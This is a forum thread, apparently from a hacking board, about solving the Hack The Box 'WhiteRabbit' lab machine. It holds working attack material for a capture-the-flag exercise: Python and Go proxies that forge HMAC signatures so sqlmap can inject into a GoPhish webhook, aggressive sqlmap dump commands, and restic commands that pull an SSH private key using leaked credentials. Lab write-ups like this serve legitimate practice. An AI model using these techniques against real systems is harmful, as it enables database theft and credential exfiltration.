WhiteRabbit Hack the Box Season 7 (Linux Insane)
by RedBlock - Saturday April 5, 2025 at 05:26 PM
#41
(04-06-2025, 03:41 PM)Lemon8767 Wrote: Is this the write up?
https://thecybersecguru.com/ctf-walkthro...ackthebox/

This site is full of AI-generated bullcrap
Reply
#42
(04-06-2025, 06:35 PM)terk12 Wrote: so basically this is the neo pass  using this you can achieve root with ```sudo su``` after you log into ssh

has anyone checked this?
Reply
#43
(04-06-2025, 11:52 PM)bkbk Wrote:
(04-06-2025, 06:35 PM)terk12 Wrote: so basically this is the neo pass  using this you can achieve root with ```sudo su``` after you log into ssh

has anyone checked this?

Not yet. Still trying to see if I can get sqli on the box
Reply
#44
Once you dump the correct database, you'll be able to see some restic credentials, what you can do is to restore the data in order to exfiltrate bob's ssh private key:

❯ echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd ❯ chmod 600 .restic_passwd ❯ export RESTIC_REPOSITORY="rest:http://75951e6ff.whiterabbit.htb" ❯ export RESTIC_PASSWORD_FILE=".restic_passwd" ❯ restic snapshots repository 5b26a938 opened (version 2, compression level auto) created new cache in /home/redacted/.cache/restic ID        Time                Host        Tags        Paths ------------------------------------------------------------------------ 272cacd5  2025-03-06 19:18:40  whiterabbit            [color=#4cea5e]/dev/shm/bob/ssh[/color] ------------------------------------------------------------------------ 1 snapshots ❯ restic restore latest --target ./restored_data

Omnicer

For the SQL Injection:
Every time you wanna send a request to the webhook, you'll need first to calculate the signature header, otherwise, the request wil be invalid.
I've created a python proxy to send all sqlmap tool requests through this proxy, so the proxy will calculate the payload's signature and them forward the request to the webhook:

from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse import requests import hmac import hashlib # Configuration TARGET_HOST = "28efa8f7df.whiterabbit.htb" TARGET_URL = f"http://{TARGET_HOST}" HMAC_KEY = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS" class GoPhishProxy(BaseHTTPRequestHandler):     def do_POST(self):         # Read the request body         content_len = int(self.headers.get('Content-Length', 0))         body = self.rfile.read(content_len)         # Clean the path from possible full URLs or malformed inputs         clean_path = urlparse(self.path).path         full_url = f"{TARGET_URL}{clean_path}"         # Calculate HMAC-SHA256 signature         signature = hmac.new(HMAC_KEY, body, hashlib.sha256).hexdigest()         # Prepare headers for forwarding         forward_headers = {key: self.headers[key] for key in self.headers if key.lower() != 'host'}         forward_headers['Host'] = TARGET_HOST         forward_headers['x-gophish-signature'] = f"sha256={signature}"         # Forward the request to the actual server         try:             response = requests.post(                 full_url,                 headers=forward_headers,                 data=body,                 allow_redirects=False,                 verify=False             )         except Exception as e:             self.send_error(502, f"Proxy forwarding failed: {str(e)}")             return         # Respond back to sqlmap         self.send_response(response.status_code)         for k, v in response.headers.items():             if k.lower() != 'content-encoding':                 self.send_header(k, v)         self.end_headers()         self.wfile.write(response.content)         # Debug log         print(f"[+] Forwarded to: {full_url}")         print(f"    Signature: sha256={signature}")         print(f"    Payload: {body.decode(errors='ignore')[:200]}") if __name__ == "__main__":     print(" GoPhish SQLmap Proxy running on http://127.0.0.1:8000")     server = HTTPServer(('0.0.0.0', 8000), GoPhishProxy)     server.serve_forever()

While the proxy is up and running, on another terminal, you can run SQLmap:
sqlmap -r sqlmap.req --proxy=http://127.0.0.1:8000 --batch --level=5 --risk=3 --threads=5
The sqlmap.req file content I used was:

POST /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d HTTP/1.1 Host: 28efa8f7df.whiterabbit.htb Content-Type: application/json User-Agent: sqlmap Accept: */* {"campaign_id":1,"email":"*","message":"Clicked Link"}
Is important to leave the request file without the x-gophish-signature header because the proxy will be adding that automatically
Reply
#45
(04-07-2025, 01:06 AM)bl4cksku11 Wrote: Once you dump the correct database, you'll be able to see some restic credentials, what you can do is to restore the data in order to exfiltrate bob's ssh private key:

❯ echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd ❯ chmod 600 .restic_passwd ❯ export RESTIC_REPOSITORY="rest:http://75951e6ff.whiterabbit.htb" ❯ export RESTIC_PASSWORD_FILE=".restic_passwd" ❯ restic snapshots repository 5b26a938 opened (version 2, compression level auto) created new cache in /home/redacted/.cache/restic ID        Time                Host        Tags        Paths ------------------------------------------------------------------------ 272cacd5  2025-03-06 19:18:40  whiterabbit            [color=#4cea5e]/dev/shm/bob/ssh[/color] ------------------------------------------------------------------------ 1 snapshots ❯ restic restore latest --target ./restored_data

Omnicer

For the SQL Injection:
Every time you wanna send a request to the webhook, you'll need first to calculate the signature header, otherwise, the request wil be invalid.
I've created a python proxy to send all sqlmap tool requests through this proxy, so the proxy will calculate the payload's signature and them forward the request to the webhook:

from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse import requests import hmac import hashlib # Configuration TARGET_HOST = "28efa8f7df.whiterabbit.htb" TARGET_URL = f"http://{TARGET_HOST}" HMAC_KEY = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS" class GoPhishProxy(BaseHTTPRequestHandler):     def do_POST(self):         # Read the request body         content_len = int(self.headers.get('Content-Length', 0))         body = self.rfile.read(content_len)         # Clean the path from possible full URLs or malformed inputs         clean_path = urlparse(self.path).path         full_url = f"{TARGET_URL}{clean_path}"         # Calculate HMAC-SHA256 signature         signature = hmac.new(HMAC_KEY, body, hashlib.sha256).hexdigest()         # Prepare headers for forwarding         forward_headers = {key: self.headers[key] for key in self.headers if key.lower() != 'host'}         forward_headers['Host'] = TARGET_HOST         forward_headers['x-gophish-signature'] = f"sha256={signature}"         # Forward the request to the actual server         try:             response = requests.post(                 full_url,                 headers=forward_headers,                 data=body,                 allow_redirects=False,                 verify=False             )         except Exception as e:             self.send_error(502, f"Proxy forwarding failed: {str(e)}")             return         # Respond back to sqlmap         self.send_response(response.status_code)         for k, v in response.headers.items():             if k.lower() != 'content-encoding':                 self.send_header(k, v)         self.end_headers()         self.wfile.write(response.content)         # Debug log         print(f"[+] Forwarded to: {full_url}")         print(f"    Signature: sha256={signature}")         print(f"    Payload: {body.decode(errors='ignore')[:200]}") if __name__ == "__main__":     print(" GoPhish SQLmap Proxy running on http://127.0.0.1:8000")     server = HTTPServer(('0.0.0.0', 8000), GoPhishProxy)     server.serve_forever()

While the proxy is up and running, on another terminal, you can run SQLmap:
sqlmap -r sqlmap.req --proxy=http://127.0.0.1:8000 --batch --level=5 --risk=3 --threads=5
The sqlmap.req file content I used was:

POST /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d HTTP/1.1 Host: 28efa8f7df.whiterabbit.htb Content-Type: application/json User-Agent: sqlmap Accept: */* {"campaign_id":1,"email":"*","message":"Clicked Link"}
Is important to leave the request file without the x-gophish-signature header because the proxy will be adding that automatically

Well done.......
Reply
#46
(04-06-2025, 04:32 PM)bkbk Wrote:
(04-06-2025, 03:59 PM)EjoPlemavnE Wrote: So no one pays 8 credits for nothing

use this python script and run it
from http.server import HTTPServer, BaseHTTPRequestHandler import requests import hashlib import hmac import json HMAC_KEY = "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS" TARGET_URL = "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" class HMACProxyHandler(BaseHTTPRequestHandler):     def do_POST(self):         content_length = int(self.headers['Content-Length'])         body = self.rfile.read(content_length).decode()         signature = hmac.new(HMAC_KEY.encode(), body.encode(), hashlib.sha256).hexdigest()         headers = {             "Host": "28efa8f7df.whiterabbit.htb",             "x-gophish-signature": f"sha256={signature}",             "Content-Type": "application/json"         }         response = requests.post(             TARGET_URL,             headers=headers,             data=body,             verify=False         )         self.send_response(response.status_code)         self.end_headers()         self.wfile.write(response.content) if __name__ == "__main__":     server = HTTPServer(('localhost', 8081), HMACProxyHandler)     server.serve_forever()
Then run this sqlmap
sqlmap -u http://localhost:8081 --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' --headers "Content-Type: application/json" --risk 3 --level 5 --proxy=http://localhost:8081 --dump-all -D temp --batch --threads=5 --time-sec=3

You'll get the table dump which contains a new endpoint and what you need to know how to proceed further

Oh no that was unintentional I thought that was just a spoiler tag! i am going to remove that. I did not want to charge 8 credits that rediculous!


I couldnt edit the original post, my apologies,  so I deleted it. I thought the hidden tag was like spoiler tag. I didn't know it was going to charge 8 credits to unlock it! 

Anyway here is the script:

Run it with go

package main import (     "bytes"     "crypto/hmac"     "crypto/sha256"     "encoding/hex"     "encoding/json"     "fmt"     "io"     "log"     "net/http" ) const (     secret    = "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"     webhookURL = "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" ) type Payload struct {     CampaignID int    `json:"campaign_id"`     Email      string `json:"email"`     Message    string `json:"message"` } func calculateHMAC(payload Payload) string {     jsonBytes, _ := json.Marshal(payload)     h := hmac.New(sha256.New, []byte(secret))     h.Write(jsonBytes)     return hex.EncodeToString(h.Sum(nil)) } func logRequest(r *http.Request) {     clientIP := r.RemoteAddr     method := r.Method     uri := r.URL.RequestURI()     protocol := r.Proto     log.Printf("%s - - \"%s %s %s\" 200 -", clientIP, method, uri, protocol) } func handler(w http.ResponseWriter, r *http.Request) {     logRequest(r)     email := r.URL.Query().Get("q")     if email == "" {         http.Error(w, `{"error": "Missing 'q' query parameter for email"}`, http.StatusBadRequest)         return     }     payload := Payload{         CampaignID: 1,         Email:      email,         Message:    "Clicked Link",     }     signature := calculateHMAC(payload)     jsonBytes, err := json.Marshal(payload)     if err != nil {         http.Error(w, `{"error": "Failed to encode payload"}`, http.StatusInternalServerError)         return     }     req, err := http.NewRequest("POST", webhookURL, bytes.NewBuffer(jsonBytes))     if err != nil {         http.Error(w, `{"error": "Failed to create request"}`, http.StatusInternalServerError)         return     }     req.Header.Set("Content-Type", "application/json")     req.Header.Set("x-gophish-signature", "hmac="+signature)     client := &http.Client{}     resp, err := client.Do(req)     if err != nil {         http.Error(w, fmt.Sprintf(`{"error": "%s"}`, err.Error()), http.StatusInternalServerError)         return     }     defer resp.Body.Close()     io.Copy(w, resp.Body) } func main() {     http.HandleFunc("/", handler)     fmt.Println("Listening on http://localhost:12345")     log.Fatal(http.ListenAndServe(":12345", nil)) }

and then run SQLMap against it:

sqlmap -u 'http://127.0.0.1:12345/?q=neo' -p q --level 5 --risk 3 --batch --dbs -D temp --dump
this works! what is the next step?
Reply
#47
i m bad in hack the box understanding, can anyone tell whats this related to and how can i learn from it as i left htb a long ago
Reply
#48
anyone with a good writeup based on the high level post commented earlier ? i didnt understand this part : "wikijs details a gophish webhook site on 28efa8f7df.whiterabbit.htb" how does that help for next steps
Ban reason: Reposting hidden content for free (Permanent)
Reply
#49
I'm stuck with `neo-password-generator`, i don't understand what i need to do here for get neo password.
Reply
#50
Okay so I got the file bob.7z. But I am failing retrieving the password for it. Made a pass generator once got a "successful" password that gave an error wrong password. Can someone help with that?
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 22 3,946 06-25-2026, 02:15 PM
Last Post: hashxyz
  HTB Eloquia User and Root Flags - Insane Box 69646B 13 2,236 03-27-2026, 06:14 PM
Last Post: vlxw
  HTB - ARTIFICIAL.HTB - EASY LINUX chain 0 1,902 02-10-2026, 02:12 PM
Last Post: chain
  HTB - CONVERSOR.HTB - EASY LINUX chain 0 824 02-09-2026, 04:36 PM
Last Post: chain
  HTB - FACTS.HTB - EASY LINUX chain 2 869 02-09-2026, 11:02 AM
Last Post: chain



 Users browsing this thread: 1 Guest(s)